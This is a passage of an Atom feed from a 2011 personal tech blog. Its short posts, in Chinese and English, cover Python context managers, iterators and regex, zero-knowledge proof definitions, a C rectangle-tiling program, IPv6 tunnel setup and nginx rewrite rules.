        <content type="html"><![CDATA[<p>一个定义了__enter__和__exit__方法的类可以在with语句中临时改变上下文，例如重定向stdout之类。一个简单的例子：</p>

<pre class="brush:python">
#!/usr/bin/python

x = 3

class CM:
    def __init__(self):
        pass

    def __enter__(self):
        global x
        x = 5

    def __exit__(self,*args):
        global x
        x = 2

print(x)
with CM():
    print(x)
print(x)
</pre>

<p>Links:</p>
<ul>
    <li><a href="http://docs.python.org/release/3.1.3/library/stdtypes.html#context-manager-types">http://docs.python.org/release/3.1.3/library/stdtypes.html#context-manager-types</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Python之迭代器</title>
        <link href="http://blog.cykerway.com/post/345" />
        <id>http://blog.cykerway.com/post/345</id>
        <updated>2011-06-17T01:49:26Z</updated>
        <content type="html"><![CDATA[<p>先上样例：</p>

<pre class="brush:python">
#!/usr/bin/python

class Fib:
    def __init__(self,max):
        self.max = max

    def __iter__(self):
        iter_fib = Iter_Fib(self)
        return iter_fib

class Iter_Fib:
    def __init__(self,fib):
        self.fib = fib
        self.a = 0
        self.b = 1

    def __next__(self):
        num = self.a
        if num &gt; self.fib.max:
            raise StopIteration
        self.a, self.b = self.b, self.a + self.b
        return num

# explicitly called
fib = Fib(10)
fib_iter = iter(fib)
print(next(fib_iter))
print(next(fib_iter))
print(next(fib_iter))

# implicitly called in for loop
fib = Fib(100)
for i in fib:
    print(i)
</pre>

<p>Fib是主类，Iter_Fib是对应的迭代器类，我们说Fib是一个有迭代器的类，因为Fib中定义了__iter__方法。在主类对象上调用__iter__方法返回一个对应的迭代器对象。</p>

<p>迭代器类需要定义__next__方法，返回值就是在迭代器上调用next()时要返回的下一个值。如果没有值了，要raise StopIteration异常。</p>

<p>显式调用的情况比较明显，在主类对象上调用iter()得到迭代器对象，在迭代器对象上调用next()得到下一个值，没有值时会触发StopIteration异常。隐式调用的情况比较有趣，可以直接用<i>for i in 主类对象</i>这种形式。iter()和next()都会被自动调用，而且没有值时的StopIteration异常会被for loop当作False从而循环结束，并不会抛出。</p>

<p>下面扯点和迭代器相关但不完全一样的。</p>

<p>generator function是包含了yield语句的函数，特点会生成一个generator object。可以对这个generator object调用next()方法得到一系列生成的值。这些值的生成的方法就是运行generator function，遇到yield的话就把yield后面的表达式的值输出，并将状态暂存，直至下一次调用next()。多个generator object不会互相冲突。例如：</p>

<pre class="brush:python">
def make_gen():
    i = 0
    while True:
        yield i
        i += 1

g = make_gen()
next(g)
next(g)
next(g)
h = make_gen()
next(h)
next(h)
</pre>

<p>generator expression看上去与list comprehension相仿，只是把方括号变成圆括号，如：</p>

<pre class="brush:python">
g = (i for i in lst)
</pre>

<p>同样可以在generator expression上调用next()方法，没有值了会抛出StopIteration异常，不细说了。</p>]]></content>
    </entry>
    <entry>
        <title>Python之正则表达式</title>
        <link href="http://blog.cykerway.com/post/344" />
        <id>http://blog.cykerway.com/post/344</id>
        <updated>2011-06-16T23:14:37Z</updated>
        <content type="html"><![CDATA[<p>Python正则表达式有两种使用方式，一种是直接调用类方法，另一种是先根据pattern编译一个re对象，再调用这个对象的方法。一般来说第一种就够了，但第二种可以提供的功能更多。两种方法示例如下：</p>

<pre class="brush:python">
import re

p = &apos;\d\d\d&apos;
s = &apos;abc123def&apos;

# Method 1
re.search(p,s)

# Method 2
o = re.compile(p)
o.search(s)
</pre>

<p>然后需要记忆一些常用的正则表达式：</p>

<pre class="brush:python">
.
^
$
*
+
?
*?
+?
??
{m}
{m,n}
{m,n}?
\
[]
|
(...)
(?P&lt;name&gt;...)
(?P=name)
(?=...)
(?!...)
(?&lt;=...)
(?&lt;!...)
\number
\b
\B
\d
\D
\s
\S
\w
\W
</pre>

<p>具体说明在第一个置底链接页面里。</p><p>re模块有一些常用方法如下：</p>

<ul>
    <li>search - s中对p的第一个匹配</li>
    <li>match - 同search，但必须从s的开始位置匹配</li>
    <li>findall - 返回一个list，包含s中所有匹配p的字符串</li>
    <li>finditer - 返回一个iterator，包含s中所有对p的匹配</li>
    <li>sub - 正则替换</li>
    <li>split - 以s中匹配p的字符串作为分隔符，分割s</li>
</ul>

<p>match object有一些常用方法如下：</p>

<ul>
    <li>group - 返回指定分组</li>
    <li>groups - 返回一个list，包含所有大于0的分组</li>
    <li>groupdict - 返回一个dict，包含所有命名分组</li>
    <li>start - 返回指定分组的起始位置</li>
    <li>end - 返回指定分组的结束位置</li>
    <li>span - 返回一个2-tuple，包含指定分组的起始位置和结束位置，即(start,end)</li>
</ul>

<p>Tips：</p>

<ul>
<li>finditer比findall更强大，因为finditer得到的是一串match object，可以得到各个匹配的位置信息等等。而findall得到的只是对应匹配的字符串。</li>
<li>sub的repl参数会自动转换\n什么的，无论是写成&apos;\n&apos;,&apos;\\n&apos;还是r&apos;\n&apos;。如果真要替换为字面意义的\n，必须写成r&apos;\\n&apos;。我个人觉得这是个bug。</li>
<li>groups只返回大于0的分组，所以整个匹配，即group(0)，不会被包含在groups()的结果中。</li>
<li>split的参数p如果被()包围，则匹配p的部分（即分隔符）也会被包含在结果中。</li>
<li>start和end符合左闭右开。</li>
</ul>

<p>Links:</p>
<ul>
    <li><a href="http://docs.python.org/release/3.1.3/library/re.html">http://docs.python.org/release/3.1.3/library/re.html</a></li>
    <li><a href="http://wiki.ubuntu.org.cn/Python%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97">http://wiki.ubuntu.org.cn/Python%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%93%8D%E4%BD%9C%E6%8C%87%E5%8D%97</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Steven Miller photography</title>
        <link href="http://blog.cykerway.com/post/343" />
        <id>http://blog.cykerway.com/post/343</id>
        <updated>2011-06-16T13:24:48Z</updated>
        <content type="html"><![CDATA[<p><a href="http://www.stevenmillerphotography.com/">http://www.stevenmillerphotography.com/</a></p>]]></content>
    </entry>
    <entry>
        <title>nonlocal</title>
        <link href="http://blog.cykerway.com/post/342" />
        <id>http://blog.cykerway.com/post/342</id>
        <updated>2011-06-14T21:59:41Z</updated>
        <content type="html"><![CDATA[<p>nonlocal在Python3.x中引入，用于引用外层定义域中定义的对象。</p>

<p>Links:</p>

<ul>
    <li><a href="http://www.keakon.net/2009/10/15/Python%E7%9A%84%E9%97%AD%E5%8C%85%E4%B8%8Enonlocal">http://www.keakon.net/2009/10/15/Python%E7%9A%84%E9%97%AD%E5%8C%85%E4%B8%8Enonlocal</a></li>
    <li><a href="http://hi.baidu.com/yfnick/blog/item/e95ea4e44237ba38b83820d7.html">http://hi.baidu.com/yfnick/blog/item/e95ea4e44237ba38b83820d7.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>IPython</title>
        <link href="http://blog.cykerway.com/post/341" />
        <id>http://blog.cykerway.com/post/341</id>
        <updated>2011-06-13T17:55:54Z</updated>
        <content type="html"><![CDATA[<p>增强版的Python Shell。可以用ipythonrc和ipy_user_conf.py配置。觉得这是个缺点，不过据说下一版会改成只有一个配置文件。下面是一点小配置：</p>
<pre class="brush:bash">
# ~/.ipython/ipythonrc

confirm_exit 0 # Exit without confirmation when typing Ctrl-D
readline_parse_and_bind &quot;\C-l&quot;: clear-screen # Ctrl-l will clear screen
</pre>]]></content>
    </entry>
    <entry>
        <title>pylab</title>
        <link href="http://blog.cykerway.com/post/340" />
        <id>http://blog.cykerway.com/post/340</id>
        <updated>2011-06-13T17:14:59Z</updated>
        <content type="html"><![CDATA[<p>pylab主要是用于interactive的，包含了matplotlib.pyplot和numpy里的一些东西。</p>

<p>Links:</p>
<ul>
    <li><a href="http://matplotlib.sourceforge.net/api/pyplot_api.html">http://matplotlib.sourceforge.net/api/pyplot_api.html</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>wine-thunder</title>
        <link href="http://blog.cykerway.com/post/339" />
        <id>http://blog.cykerway.com/post/339</id>
        <updated>2011-06-06T01:45:17Z</updated>
        <content type="html"><![CDATA[<p>再也不为wine迅雷发愁了，一行搞定：</p>

<pre class="brush:bash">
yaourt -S wine-thunder
</pre>]]></content>
    </entry>
    <entry>
        <title>Why Use Simulator to Define Zero Knowledge Proof</title>
        <link href="http://blog.cykerway.com/post/338" />
        <id>http://blog.cykerway.com/post/338</id>
        <updated>2011-06-05T17:09:55Z</updated>
        <content type="html"><![CDATA[<p>为神马ZK的证明要用Simulator来定义？</p>

<p>首先注意<b>一个信息$I$的私密性是和破解者$A$的计算能力有关的</b>。比如说$x = w^2 \,mod\, n$是二次剩余(QR)，其中$x$是公开的而$w$是私密的（即$I = \{w\}$）。那么普遍认为一个多项式时间的$A$是不能算出$w$的。如果我们定义$A$关于$I$的知识为$K_A(I)$，那么在$A$为多项式时间的前提下，$w$的具体值是不包括在$K_A(I)$中的。那$K_A(I)$包括了什么呢？虽然$A$不能算出$w$的具体值，但是$A$可以取$w&apos;$且算出$w&apos;^2$。如果$w&apos;^2 \neq x$，那么$A$知道$w \neq w&apos;$，这就可以看成是$K_A(I)$中的元素。当然$A$可以取不同的$w&apos;$，甚至可以采用不同的多项式算法，得到不同的关于$w$的知识，这些都是$K_A(I)$中的元素。</p>

<p>如果我们允许$A$运行任意长时间，那么$A$可以枚举所有的$w&apos;$并计算$w&apos;^2$，找出使得$w&apos;^2 = x$的$w&apos;$，于是$A$知道$w$只能在这些$w&apos;$中取值。显然这个可以运行任意长时间的$A$获得的知识不少于只能运行多项式时间的$A$，也就是后者的$K_A(I)$是前者的一个子集。</p>

<p>当然，即便是这个可以运行任意长时间的$A$，也不能精确地算出$w$是什么，所以即便对于计算能力任意强的破解者$A$，也有些知识不属于其$K_A(I)$。</p>

<p>然后考虑验证者$V$与证明者$P$的交互。什么叫做零知识？就是说$V$与$P$交互之后$K_V(I)$没有变化。那么$V$如何从与$P$的交互中学习新的知识呢？$V$与$P$交互和不交互的区别，只是多了一份通讯记录$H$以及在这份通讯记录中$V$产生但未发送的随机位$R$（发送的随机位算在$H$里了）。$\langle H,R \rangle$实际上服从一个分布$D$。<b>如果$V$自己可以在规定时间内得到分布$D$，那么$V$就没有从和$P$的交互中获得额外的知识（知识是通过消息的分布来传递的）</b>。零知识指的就是没有这些额外的知识。</p>

<p>实际上$D$的计算是由Simulator来做的。注意到<b>Simulator的时间限制不能比$V$更松</b>，因为Simulator要被$V$调用。因为通常我们都考虑$V$的限制为多项式时间的情况，所以Simulator也被限制为多项式时间。如果满足条件的Simulator存在，那么$V$就可以自己生成$\langle H,R \rangle$。$V$只需运行Simulator然后采用其输出即可，因为Simulator就是按照$D$来输出的。</p>

<p>既然Simulator要被$V$调用，为什么Simulator的构造中却可以调用$V$的策略呢？究竟是谁包含谁呢？其实可以把Simulator想象成一个带有回调函数指针的工具，而$V$是一个人，$V$调用Simulator的时候遇到回调函数指针就用自己的策略作为回调函数代入。这一般都是为了保证Simulator能顺利计算出$V$发送的消息的分布。</p>

<p>值得一提的是，在computationally indistinguishable的意义下，允许Simulator的输出有小概率出错（即不服从实际$D$的分布）。Simulator输出的分布反映了$V$原本的知识，实际的$D$反映了$V$从$P$那里获得的知识，这两个分布越相似，说明$V$从$P$那里获得的新知识越少。Simulator出错的概率足够小，就说明获得的新知识足够少。</p>

<p>最后有一个问题没有解决。考虑CCA-secure的公钥加密系统$(p_k,s_k)$。$P$要向$V$证明自己有私钥$s_k$但不让$V$了解关于$s_k$的知识。交互式证明协议如下：</p>

<ol>
    <li>$V$ to $P$: Uniformly choose $m$, send $c = Enc_{p_k}(m)$</li>
    <li>$P$ to $V$: send $Dec_{s_k}(c)$</li>
</ol>

<p>看起来像是ZK的但是不知道怎么构造Simulator。首先第一步只能调用$V$的策略，但是$V$可以是邪恶的，可以完全不生成$m$而直接随机选取$c$。于是第二步就不知道怎么回了。猜的话概率是$1/2^{|m|}$指数小，也就是期望猜中的步数是$2^{|m|}$，指数级别，不是多项式了。难道说不是ZK的么？不是ZK的话还真不知道有什么形式化的证明。构造不出来Simulator这个应该是不能算证明的……</p>]]></content>
    </entry>
    <entry>
        <title>chnroutes</title>
        <link href="http://blog.cykerway.com/post/336" />
        <id>http://blog.cykerway.com/post/336</id>
        <updated>2011-06-02T20:31:14Z</updated>
        <content type="html"><![CDATA[<p>VPN路由设置工具。对国内流量走默认网关，节省VPN流量。数据来自APNIC。代码非常干净。</p>

<p>使用方法：<a href="http://code.google.com/p/chnroutes/wiki/Usage">http://code.google.com/p/chnroutes/wiki/Usage</a></p>

<p>chnroutes_openvpn_v2.1文件生成OpenVPN客户端配置文件需要的路由配置。chnroutes_ovpn_linux生成手动路由设置脚本文件。chnroutes_ovpn_android生成供Android使用的手动路由设置脚本文件。一般用第一个就够了。</p>

<p>APNIC的国家IPv4地址段：<a href="http://ftp.apnic.net/apnic/dbase/data/country-ipv4.lst">http://ftp.apnic.net/apnic/dbase/data/country-ipv4.lst</a></p>]]></content>
    </entry>
    <entry>
        <title>IMSLP</title>
        <link href="http://blog.cykerway.com/post/335" />
        <id>http://blog.cykerway.com/post/335</id>
        <updated>2011-05-29T05:15:46Z</updated>
        <content type="html"><![CDATA[<p>为找不到正宗的曲谱发愁的话可以到IMSLP看看。Petrucci Music Library这个太V5了，收录了非常多的public domain music。</p>

<p>Links:</p>

<ul>
<li><a href="http://imslp.org/wiki/">http://imslp.org/wiki/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Canon Rock</title>
        <link href="http://blog.cykerway.com/post/334" />
        <id>http://blog.cykerway.com/post/334</id>
        <updated>2011-05-29T04:22:24Z</updated>
        <content type="html"><![CDATA[<p><iframe width="480" height="390" src="http://www.youtube.com/embed/by8oyJztzwo" frameborder="0" allowfullscreen></iframe></p>

<p><iframe width="480" height="390" src="http://www.youtube.com/embed/QjA5faZF1A8" frameborder="0" allowfullscreen></iframe></p>]]></content>
    </entry>
    <entry>
        <title>continuous rectangle tiling</title>
        <link href="http://blog.cykerway.com/post/333" />
        <id>http://blog.cykerway.com/post/333</id>
        <updated>2011-05-26T18:01:03Z</updated>
        <content type="html"><![CDATA[<p>给一个$n \times n$的0-1矩阵M，问最少要用多少个单色(monochromatic)连续(contiguous)矩形(rectangle)才能完全（不重叠）覆盖？</p>

<p>只想到一个动态规划的方法，写了一个$4 \times 4$的程序。下面的cchi函数就是所需最少单色连续矩形的个数的。</p>

<pre class="brush:c">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;math.h&gt;

int perm[24][4] = {
    1,2,3,4,
    1,2,4,3,
    1,4,2,3,
    4,1,2,3,
    4,1,3,2,
    1,4,3,2,
    1,3,4,2,
    1,3,2,4,
    3,1,2,4,
    3,1,4,2,
    3,4,1,2,
    4,3,1,2,
    4,3,2,1,
    3,4,2,1,
    3,2,4,1,
    3,2,1,4,
    2,3,1,4,
    2,3,4,1,
    2,4,3,1,
    4,2,3,1,
    4,2,1,3,
    2,4,1,3,
    2,1,4,3,
    2,1,3,4,
};
int m[4][4] = {
    0,0,1,1,
    0,1,0,1,
    0,0,0,0,
    0,0,0,0,
};

void printmat(int mat[][4])
{
    int k,l;
    for (k = 0;k &lt; 4;k++) {
        for (l = 0;l &lt; 4;l++) {
            printf(&quot;%d &quot;,mat[k][l]);
        }
        printf(&quot;\n&quot;);
    }
}

int cchi(int mat[][4])
{
    int mincchi = 16;
    int maxy;
    int mat2[4][4],k2,l2;

    int matbak[4][4];
    int k,l,x,y;
    for (k = 0;k &lt; 4;k++) {
        for (l = 0;l &lt; 4;l++) {
            matbak[k][l] = mat[k][l];
        }
    }
    for (k = 0;k &lt; 4;k++) {
        for (l = 0;l &lt; 4;l++) {
            if (mat[k][l] != -1)
                goto recur;
        }
    }
    return 0;

recur:
    maxy = 4 - k;
    for (x = 0;l + x &lt; 4 &amp;&amp; mat[k][l+x] == mat[k][l];x++) {
        for (y = 0;y &lt; maxy;y++) {
            if (mat[k+y][l+x] == mat[k][l]) {
                int xx,yy;
                for (xx = 0;xx &lt;= x;xx++) {
                    for (yy = 0;yy &lt;= y;yy++) {
                        mat[k+yy][l+xx] = -1;
                    }
                }
                int candi = cchi(mat) + 1;
                if (candi &lt; mincchi) {
                    mincchi = candi;
                }
                for (xx = 0;xx &lt;= x;xx++) {
                    for (yy = 0;yy &lt;= y;yy++) {
                        mat[k+yy][l+xx] = matbak[k+yy][l+xx];
                    }
                }
            } else {
                maxy = y;
                break;
            }
        }
    }
    return mincchi;
}

int main()
{
    int i,j,k,l,t;
    int mt[4][4],mp[4][4];

    int mincchi = 16;
    int rowperm[4],colperm[4];

    for (i = 0;i &lt; 24;i++) {
        for (j = 0;j &lt; 24;j++) {
            // row perm
            for (k = 0;k &lt; 4;k++) {
                for (l = 0;l &lt; 4;l++) {
                    mt[perm[i][k]-1][l] = m[k][l];
                }
            }
            // col perm
            for (k = 0;k &lt; 4;k++) {
                for (l = 0;l &lt; 4;l++) {
                    mp[k][perm[j][l]-1] = mt[k][l];
                }
            }
            int candi = cchi(mp);
            if (candi &lt; mincchi) {
                mincchi = candi;
                for (t = 0;t &lt; 4;t++) {
                    rowperm[t] = perm[i][t];
                    colperm[t] = perm[j][t];
                }
            }
        }
    }

    printf(&quot;mincchi = %d\n&quot;,mincchi);
    for (t = 0;t &lt; 4;t++) {
        printf(&quot;%d &quot;,rowperm[t]);
    }
    printf(&quot;\n&quot;);
    for (t = 0;t &lt; 4;t++) {
        printf(&quot;%d &quot;,colperm[t]);
    }
    printf(&quot;\n&quot;);

    return 0;
}
</pre>

<p>这程序的其他部分是为了解决另外一个问题。在通讯复杂度里用rectangle tiling方法研究下界的时候不要求矩形是连续的，但是不连续的矩形不容易看出（not visually friendly）。所以是不是在单色、不重叠完全覆盖的情况下，要求的不连续矩形最少个数（记为$\chi$）和连续矩形最小个数（记为$\chi&apos;$）一样多呢？（熟悉通讯复杂度的话应该知道$\log_2 \chi$是通讯复杂度的下界）</p>

<p>注意这里我们允许对矩阵做任意的行置换和列置换（不然就trivial了），反正这是不影响$\chi$的。如果我们总能找到一个行置换和列置换使得$\chi = \chi&apos;$的话，就可以用连续矩形来研究了。遗憾的是这是不可能的，对于任意$n \geq 4$，都存在$n \times n$的矩阵M，在$M$上进行任意行置换、列置换，得到的矩阵都有$\chi &lt; \chi&apos;$。具体的证明见：<a href="http://cstheory.stackexchange.com/questions/6727/monochromatic-rectangle-tiling">http://cstheory.stackexchange.com/questions/6727/monochromatic-rectangle-tiling</a></p>

<p>这个程序的其他部分就是在计算所有可能的行置换、列置换之后的$\chi&apos;$……</p>]]></content>
    </entry>
    <entry>
        <title>pcretest</title>
        <link href="http://blog.cykerway.com/post/332" />
        <id>http://blog.cykerway.com/post/332</id>
        <updated>2011-05-24T16:06:22Z</updated>
        <content type="html"><![CDATA[<p>写正则表达式的时候不能确定是否正确怎么办？用pcretest。先输入一个以/.../界定的re，再输入data测试。输入data时输入空行可以测试下一个re。具体请man。</p>]]></content>
    </entry>
    <entry>
        <title>0-1背包贪心非最优的情况</title>
        <link href="http://blog.cykerway.com/post/331" />
        <id>http://blog.cykerway.com/post/331</id>
        <updated>2011-05-23T21:15:15Z</updated>
        <content type="html"><![CDATA[<p>只有两个东西$a_1$和$a_2$。设$c$表示价值，$w$表示重量，背包容量为$b$。且有$c(a_1) = \epsilon, w(a_1) = \epsilon - \epsilon^2, c(a_2) = b, w(a_2) = b$。显然$a_1$的性价比好一点，但是选了$a_1$就不能选$a_2$。最优解是选$a_2$得到$b$，而贪心选$a_1$只得到$\epsilon$，比值是$\epsilon/b$，要多坏有多坏。 </p>]]></content>
    </entry>
    <entry>
        <title>tb-tun</title>
        <link href="http://blog.cykerway.com/post/330" />
        <id>http://blog.cykerway.com/post/330</id>
        <updated>2011-05-23T13:18:18Z</updated>
        <content type="html"><![CDATA[<p>按照作者的说法，这个东西是</p>

<blockquote>
    <p>userspace program using TUN/TAP to build 6to4/tunnelbroker/ISATAP tunnel on linux</p>
</blockquote>

<p>没有sit设备的内核可以用这个来使用he.net的tunnelbroker。具体做法是在tunnelbroker.net建立tunnel之后，用以下命令替代tunnelbroker.net的配置脚本（需root权限）：</p>

<pre class="brush:bash">
setsid ./tb_userspace tb [server ipv4 addr] [client ipv4 addr] sit &gt; /dev/null
ifconfig tb inet6 add [client ipv6 addr]
ifconfig tb mtu 1480
route -A inet6 add ::/0 dev tb
</pre>

<p>示例：</p>

<pre class="brush:bash">
setsid ./tb_userspace tb 8.8.8.8 127.0.0.1 sit &gt; /dev/null
ifconfig tb inet6 add 2001:xxx::2/64
ifconfig tb mtu 1480
route -A inet6 add ::/0 dev tb
</pre>

<p>Links:</p>

<ul>
    <li><a href="http://www.lostriver.net/linux-userspace-6to4-tun/">http://www.lostriver.net/linux-userspace-6to4-tun/</a></li>
    <li><a href="http://code.google.com/p/tb-tun/wiki/HOWTO">http://code.google.com/p/tb-tun/wiki/HOWTO</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>GCJ2011 Round 1B Problem B</title>
        <link href="http://blog.cykerway.com/post/329" />
        <id>http://blog.cykerway.com/post/329</id>
        <updated>2011-05-22T04:03:41Z</updated>
        <content type="html"><![CDATA[<p>题目是说有一群小贩分布在一条街上。现在他们要分开，即使得任意两个人之间的距离不小于$D$，免得互相抢生意。小贩走路的速度是恒定且相同的。求分开的最短时间。</p>

<p>答案里面的数学解法看上去挺漂亮的。首先观察到小贩们的运动不会交叉。然后对于编号为$i &lt; j$的任意两个小贩（称为一个pair），设他们的当前距离为$d(i,j) = P_j - P_i$，想要达到的距离为$D(i,j) = D \cdot (j - i)$。不妨称前面的为现实距离，后面的为理想距离好了。然后找到理想距离与现实距离的差的最大值$X = \max(D(i,j) - d(i,j))$。差距为$X$的pair可能有一组或多组，称这样的pair为$X$-pair。一个observation是一个小贩不可能既是一个$X$-pair的左端点，又是另一个$X$-pair的右端点，不然其余两个端点的现实距离与理想距离的差距会更大，矛盾。</p>

<p>这就好了。让每个$X$-pair的左端点向左跑，右端点向右跑，现实距离就增大了，与理想的差距就缩小了，而且这个过程是以2倍速在进行。注意他们是不可能撞在一起的，否则上面推矛盾的方法照用。也就是说即便从运动方向判断可能撞在一起，实际上在相撞之前所有$X$-pair构成的集合就动态变化了。那么$X$值总是以2倍速减小。$X = 0$的时候就是条件满足的时候。如果一开始$X &gt; 0$的话，只需要$X/2$时间。如果一开始$X \leq 0$的话就什么都不用做，也就是时间为0。</p>

<p>最后说明求$X$的时候可以线性。因为小贩的顺序不会变，可以顺序求$D(i,i+1) - d(i,i+1)$，边累加边维护最大值。当前累加值如果小于0就丢弃。其实就是连续子序列最大和的贪心。</p>]]></content>
    </entry>
    <entry>
        <title>VPS Repo</title>
        <link href="http://blog.cykerway.com/post/328" />
        <id>http://blog.cykerway.com/post/328</id>
        <updated>2011-05-21T18:18:31Z</updated>
        <content type="html"><![CDATA[<p>安装Arch Linux的OpenVZ的VPS崩了的话这个repo会有用的……</p>

<p>Links:</p>

<ul>
    <li><a href="https://wiki.archlinux.org/index.php/VPS_Repo">https://wiki.archlinux.org/index.php/VPS_Repo</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>safe/regular/atomic register</title>
        <link href="http://blog.cykerway.com/post/327" />
        <id>http://blog.cykerway.com/post/327</id>
        <updated>2011-05-20T20:03:54Z</updated>
        <content type="html"><![CDATA[<p>Dazzled at the definitions, I didn&apos;t figure out the difference between a regular register and an atomic one, until I read Page 28 of Lamport&apos;s original work, which is partially cited below:</p>

<blockquote>
<p>...a regular register is atomic if two successive reads that overlap the same write cannot obtain the new then the old value...</p>
</blockquote>

<p>Links:</p>

<ul>
    <li><a href="http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.37.1942&rep=rep1&type=pdf">On interprocess communication</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>Zero-Knowledge Sudoku</title>
        <link href="http://blog.cykerway.com/post/326" />
        <id>http://blog.cykerway.com/post/326</id>
        <updated>2011-05-19T14:18:28Z</updated>
        <content type="html"><![CDATA[<p>Say Victor has a Sudoku problem written on a paper but doesn&apos;t know how to solve it. Peter knows the solution. If there is a double-sided photocopier, how can Peter convince Victor that he really knows the solution without leaking any information about the solution?</p>

<p>If there is a protocol that satisfies this requirement, then we call it a zero-knowledge proof for the Sudoku problem, because the verifier Victor doesn&apos;t learn anything about the solution from the proof.</p>

<p>The protocol is as follows:</p>

<ol>

    <li>Peter writes the solution on the backside of the paper so that Victor cannot see it.</li>

    <li>Victor chooses a row, a column or a submatrix.</li>

    <li>Peter cuts off the row, column or submatrix from the paper, and further cuts it into 9 grids, shuffles them, and gives them to Victor.</li>

    <li>Victor verifies they are indeed a permutation of 1 to 9.</li>
</ol>


<p>Note that Victor doesn&apos;t learn anything about the solution in this protocol.</p>

<p>If there is a solution and Peter really knows it, Victor will always get a permutation of 1 to 9 in Step 4. So Victor will always believe Peter knows the solution.</p>

<p>But if there isn&apos;t a solution, it&apos;s still possible for Peter to cheat Victor, because it&apos;s possible for Peter to just &apos;guess right&apos;. Here&apos;s when the photocopier comes. After Step 1, Victor can photocopy the paper into 27 copies, so all 9 row, 9 columns and 9 submatrices will be verified. Further, Victor can verify the initial numbers are the same on both sides of the paper on-the-fly. Thus if there isn&apos;t a solution, then it&apos;s impossible for Peter to cheat Victor.</p>]]></content>
    </entry>
    <entry>
        <title>Fabrice Ballard</title>
        <link href="http://blog.cykerway.com/post/325" />
        <id>http://blog.cykerway.com/post/325</id>
        <updated>2011-05-18T16:53:07Z</updated>
        <content type="html"><![CDATA[<p>昨天看到一个JSLinux，觉得挺有意思。从项目主页逛到作者的个人主页，发现上面有QEMU和FFMPEG这两个神器。于是想谁这么无聊嘛，这种东西不是随便就Google得到。</p>

<p>仔细一看，汗如雨下……</p>

<p>去法国大神主页膜拜即可……</p>

<p>Links:</p>

<ul>
<li><a href="http://bellard.org/">http://bellard.org/</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>hosts.allow/hosts.deny</title>
        <link href="http://blog.cykerway.com/post/324" />
        <id>http://blog.cykerway.com/post/324</id>
        <updated>2011-05-17T15:55:04Z</updated>
        <content type="html"><![CDATA[<p>From <a href="http://linux.about.com/od/commands/l/blcmdl5_hostsde.htm">http://linux.about.com/od/commands/l/blcmdl5_hostsde.htm</a></p>

<blockquote>
<p>The access control software consults two files. The search stops at the first match:</p>

<ol>
<li>Access will be granted when a (daemon,client) pair matches an entry in the /etc/hosts.allow file. </li>

<li>Otherwise, access will be denied when a (daemon,client) pair matches an entry in the /etc/hosts.deny file. </li>

<li>Otherwise, access will be granted. </li>
</ol>

<p>A non-existing access control file is treated as if it were an empty file. Thus, access control can be turned off by providing no access control files. </p>
</blockquote>]]></content>
    </entry>
    <entry>
        <title>urxvt+ssh+vim粘贴</title>
        <link href="http://blog.cykerway.com/post/323" />
        <id>http://blog.cykerway.com/post/323</id>
        <updated>2011-05-15T13:09:46Z</updated>
        <content type="html"><![CDATA[<p>终端是urxvt，用ssh远程连接，远程端运行vim编辑文档，鼠标中键粘贴的是远程端的buffer的内容。要粘贴本地端buffer里的内容，用Shift+Insert。</p>]]></content>
    </entry>
    <entry>
        <title>first/last-child in CSS</title>
        <link href="http://blog.cykerway.com/post/322" />
        <id>http://blog.cykerway.com/post/322</id>
        <updated>2011-05-15T12:25:32Z</updated>
        <content type="html"><![CDATA[<p>把这个blog又调整了一下。以前有一个问题是，为了造成一种分割线的效果，对纵向的多个相同div的上下启用了不同的border。但是第一个和最后一个就会多出来两条边，看上去不爽。今天看到CSS3里有first/last-child这两个伪类，就实现了一下，效果很好。示例：</p>

<pre class="brush:css">
.post {
    border-top:1px solid #eeeeee;
    border-bottom:1px solid #cccccc;
}

.post:first-child {
    border-top:0px;
}

.post:last-child {
    border-bottom:0px;
}

</pre>

<p>Links:</p>
<ul>
    <li><a href="http://www.w3.org/TR/2001/CR-css3-selectors-20011113/#first-child-pseudo">http://www.w3.org/TR/2001/CR-css3-selectors-20011113/#first-child-pseudo</a></li>
</ul>]]></content>
    </entry>
    <entry>
        <title>web.py UnicodeDecodeError</title>
        <link href="http://blog.cykerway.com/post/321" />
        <id>http://blog.cykerway.com/post/321</id>
        <updated>2011-05-14T22:44:17Z</updated>
        <content type="html"><![CDATA[<p>用web.py折腾simplecd的时候出来了UnicodeDecodeError。经检查发现是因为模板里有Unicode字符。解决方法是修改web.py的template.py源代码：</p>

<p><a href="http://groups.google.com/group/webpy/browse_thread/thread/a56134bd8b62df1f/e64ee673f9128357?#e64ee673f9128357">http://groups.google.com/group/webpy/browse_thread/thread/a56134bd8b62df1f/e64ee673f9128357?#e64ee673f9128357</a></p>]]></content>
    </entry>
    <entry>
        <title>nginx rewrite</title>
        <link href="http://blog.cykerway.com/post/320" />
        <id>http://blog.cykerway.com/post/320</id>
        <updated>2011-05-14T18:10:16Z</updated>
        <content type="html"><![CDATA[<p>折腾了一下URL伪静态。</p>

<p>Sample:</p>

<pre class="brush:bash">
server {
    rewrite             ^/post/([\d]+)$         /readpost.php?id=$1&amp;$args   last;
    rewrite             ^/page/([\d]+)$         /index.php?page=$1&amp;$args    last;
    rewrite             ^/logout$               /actions/logout.php         last;
    rewrite             ^/error$                /error.php                  last;
    rewrite             ^/writepost$            /writepost.php              last;
    rewrite             ^/writepost/([\d]+)$    /writepost.php?id=$1&amp;$args  last;
    rewrite             ^/rss$                  /rss.php                    last;
    rewrite             ^/atom$                 /atom.php                   last;

    if ($scheme = https) {
        rewrite         ^/login$                /login.php                  last;
    }
    if ($scheme = http) {
        rewrite         ^/login$                https://$server_name$uri    permanent;
    }
}
</pre>

<p>Link:</p>
<ul>
